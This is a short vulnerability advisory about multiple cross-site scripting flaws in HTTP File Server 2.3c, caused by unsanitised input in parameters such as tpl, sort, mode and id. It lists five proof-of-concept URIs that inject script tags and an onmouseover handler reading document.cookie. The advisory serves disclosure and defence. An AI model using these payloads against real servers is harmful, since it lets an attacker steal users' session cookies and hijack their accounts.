HTTP File Server Multiple Cross Site Scripting Vulnerabilities

HTTP File Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

HTTP File Server 2.3c is vulnerable; other versions may also be affected.

HTTP File Server Multiple Cross Site Scripting Vulnerabilities

To exploit these issues, an attacker must entice an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/?tpl=list'/><script>alert(document.cookie)</script>&folders-filter=/&recursive

http://www.example.com/?sort=n'/><script>alert(document.cookie)</script>

http://www.example.com/?mode=n'/><script>alert(document.cookie)</script>

http://www.example.com/?mode=section&id=style.css'/><script>alert(document.cookie)</script>

http://www.example.com/?'onmouseover='alert(11)'
